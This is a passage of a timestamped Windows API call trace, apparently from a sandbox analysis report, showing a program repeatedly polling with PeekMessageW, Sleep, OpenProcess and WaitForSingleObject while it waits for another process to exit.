wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.805] Sleep (dwMilliseconds=0x1) [0233.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.820] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.836] CloseHandle (hObject=0x27c) returned 1 [0233.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.836] Sleep (dwMilliseconds=0x1) [0233.858] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.858] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.867] CloseHandle (hObject=0x27c) returned 1 [0233.867] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.867] Sleep (dwMilliseconds=0x1) [0233.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.883] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.898] CloseHandle (hObject=0x27c) returned 1 [0233.898] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.898] Sleep (dwMilliseconds=0x1) [0233.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.914] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.929] CloseHandle (hObject=0x27c) returned 1 [0233.930] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.930] Sleep (dwMilliseconds=0x1) [0233.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.945] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.961] CloseHandle (hObject=0x27c) returned 1 [0233.961] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.961] Sleep (dwMilliseconds=0x1) [0233.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.976] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.994] CloseHandle (hObject=0x27c) returned 1 [0233.994] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.994] Sleep (dwMilliseconds=0x1) [0234.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.008] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.023] CloseHandle (hObject=0x27c) returned 1 [0234.023] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.023] Sleep (dwMilliseconds=0x1) [0234.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.039] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.054] CloseHandle (hObject=0x27c) returned 1 [0234.055] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.055] Sleep (dwMilliseconds=0x1) [0234.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.070] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.086] CloseHandle (hObject=0x27c) returned 1 [0234.086] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.086] Sleep (dwMilliseconds=0x1) [0234.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.102] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.117] CloseHandle (hObject=0x27c) returned 1 [0234.117] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.117] Sleep (dwMilliseconds=0x1) [0234.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.148] CloseHandle (hObject=0x27c) returned 1 [0234.148] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.148] Sleep (dwMilliseconds=0x1) [0234.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.164] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.180] CloseHandle (hObject=0x27c) returned 1 [0234.180] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.180] Sleep (dwMilliseconds=0x1) [0234.181] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.181] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.192] CloseHandle (hObject=0x27c) returned 1 [0234.192] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.192] Sleep (dwMilliseconds=0x1) [0234.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.194] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.204] CloseHandle (hObject=0x27c) returned 1 [0234.204] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.204] Sleep (dwMilliseconds=0x1) [0234.205] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.205] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.227] CloseHandle (hObject=0x27c) returned 1 [0234.227] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.227] Sleep (dwMilliseconds=0x1) [0234.244] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.244] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.257] CloseHandle (hObject=0x27c) returned 1 [0234.257] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.257] Sleep (dwMilliseconds=0x1) [0234.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.273] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.301] CloseHandle (hObject=0x27c) returned 1 [0234.301] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.301] Sleep (dwMilliseconds=0x1) [0234.304] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.304] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.320] CloseHandle (hObject=0x27c) returned 1 [0234.320] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.320] Sleep (dwMilliseconds=0x1) [0234.343] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.343] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.351] CloseHandle (hObject=0x27c) returned 1 [0234.351] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.351] Sleep (dwMilliseconds=0x1) [0234.367] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.367] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.382] CloseHandle (hObject=0x27c) returned 1 [0234.382] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.382] Sleep (dwMilliseconds=0x1) [0234.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.398] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.413] CloseHandle (hObject=0x27c) returned 1 [0234.414] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.414] Sleep (dwMilliseconds=0x1) [0234.429] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.429] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.445] CloseHandle (hObject=0x27c) returned 1 [0234.445] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.445] Sleep (dwMilliseconds=0x1) [0234.460] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.460] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.476] CloseHandle (hObject=0x27c) returned 1 [0234.476] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.476] Sleep (dwMilliseconds=0x1) [0234.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.492] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.507] CloseHandle (hObject=0x27c) returned 1 [0234.507] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.507] Sleep (dwMilliseconds=0x1) [0234.523] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.523] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.539] CloseHandle (hObject=0x27c) returned 1 [0234.539] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.539] Sleep (dwMilliseconds=0x1) [0234.555] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.555] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.570] CloseHandle (hObject=0x27c) returned 1 [0234.570] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.570] Sleep (dwMilliseconds=0x1) [0234.585] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.586] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.601] CloseHandle (hObject=0x27c) returned 1 [0234.601] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.601] Sleep (dwMilliseconds=0x1) [0234.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.617] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.632] CloseHandle (hObject=0x27c) returned 1 [0234.632] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.632] Sleep (dwMilliseconds=0x1) [0234.648] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.648] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.664] CloseHandle (hObject=0x27c) returned 1 [0234.664] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.664] Sleep (dwMilliseconds=0x1) [0234.689] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.689] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.695] CloseHandle (hObject=0x27c) returned 1 [0234.695] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.695] Sleep (dwMilliseconds=0x1) [0234.710] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.710] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.732] CloseHandle (hObject=0x27c) returned 1 [0234.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.732] Sleep (dwMilliseconds=0x1) [0234.742] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.742] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.758] CloseHandle (hObject=0x27c) returned 1 [0234.758] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.758] Sleep (dwMilliseconds=0x1) [0234.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.774] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.788] CloseHandle (hObject=0x27c) returned 1 [0234.788] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.789] Sleep (dwMilliseconds=0x1) [0234.804] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.804] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.820] CloseHandle (hObject=0x27c) returned 1 [0234.820] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.820] Sleep (dwMilliseconds=0x1) [0234.835] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.835] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.851] CloseHandle (hObject=0x27c) returned 1 [0234.851] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.851] Sleep (dwMilliseconds=0x1) [0234.867] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.867] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.882] CloseHandle (hObject=0x27c) returned 1 [0234.882] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.882] Sleep (dwMilliseconds=0x1) [0234.898] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.898] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.914] CloseHandle (hObject=0x27c) returned 1 [0234.914] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.914] Sleep (dwMilliseconds=0x1) [0234.929] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.929] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.945] CloseHandle (hObject=0x27c) returned 1 [0234.945] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.945] Sleep (dwMilliseconds=0x1) [0234.962] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.962] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0234.976] CloseHandle (hObject=0x27c) returned 1 [0234.976] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0234.976] Sleep (dwMilliseconds=0x1) [0234.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0234.992] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.007] CloseHandle (hObject=0x27c) returned 1 [0235.007] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.007] Sleep (dwMilliseconds=0x1) [0235.023] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0235.023] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.039] CloseHandle (hObject=0x27c) returned 1 [0235.039] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.039] Sleep (dwMilliseconds=0x1) [0235.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0235.054] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.070] CloseHandle (hObject=0x27c) returned 1 [0235.070] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.070] Sleep (dwMilliseconds=0x1) [0235.085] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0235.085] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.129] CloseHandle (hObject=0x27c) returned 1 [0235.129] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.129] Sleep (dwMilliseconds=0x1) [0235.132] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0235.132] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.148] CloseHandle (hObject=0x27c) returned 1 [0235.148] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.148] Sleep (dwMilliseconds=0x1) [0235.163] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0235.164] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.180] CloseHandle (hObject=0x27c) returned 1 [0235.180] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.180] Sleep (dwMilliseconds=0x1) [0235.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0235.226] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0235.261] CloseHandle (hObject=0x27c) returned 1 [0235.261] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.261] Sleep (dwMilliseconds=0x1) [0235.374] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x348 [0235.374] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0xa) returned 0x102 [0235.394] CloseHandle (hObject=0x348) returned 1 [0235.394] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.394] Sleep (dwMilliseconds=0x1) [0235.413] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x354 [0235.413] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0xa) returned 0x102 [0235.429] CloseHandle (hObject=0x354) returned 1 [0235.429] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.429] Sleep (dwMilliseconds=0x1) [0235.460] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x35c [0235.460] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xa) returned 0x102 [0235.470] CloseHandle (hObject=0x35c) returned 1 [0235.470] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.470] Sleep (dwMilliseconds=0x1) [0235.475] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x360 [0235.475] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0xa) returned 0x102 [0235.496] CloseHandle (hObject=0x360) returned 1 [0235.496] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.496] Sleep (dwMilliseconds=0x1) [0235.515] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x364 [0235.516] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xa) returned 0x102 [0235.527] CloseHandle (hObject=0x364) returned 1 [0235.527] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.527] Sleep (dwMilliseconds=0x1) [0235.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x364 [0235.543] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xa) returned 0x102 [0235.559] CloseHandle (hObject=0x364) returned 1 [0235.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.559] Sleep (dwMilliseconds=0x1) [0235.574] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x364 [0235.574] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xa) returned 0x102 [0235.590] CloseHandle (hObject=0x364) returned 1 [0235.590] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.590] Sleep (dwMilliseconds=0x1) [0235.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x364 [0235.606] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xa) returned 0x102 [0235.621] CloseHandle (hObject=0x364) returned 1 [0235.621] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.621] Sleep (dwMilliseconds=0x1) [0235.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x364 [0235.637] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xa) returned 0x102 [0235.652] CloseHandle (hObject=0x364) returned 1 [0235.652] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.652] Sleep (dwMilliseconds=0x1) [0235.668] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x364 [0235.668] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0xa) returned 0x102 [0235.685] CloseHandle (hObject=0x364) returned 1 [0235.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.685] Sleep (dwMilliseconds=0x1) [0235.699] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x370 [0235.699] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xa) returned 0x102 [0235.715] CloseHandle (hObject=0x370) returned 1 [0235.715] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.715] Sleep (dwMilliseconds=0x1) [0235.751] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x370 [0235.751] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xa) returned 0x102 [0235.762] CloseHandle (hObject=0x370) returned 1 [0235.762] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0235.762] Sleep (dwMilliseconds=0x1) [0235.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x374 [0235.778] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xa) returned 0x102 [0235.793] CloseHandle (hObject=0x374) returned 1 [0235.793] PeekMessageW (in: lpMsg=0x354f90c, 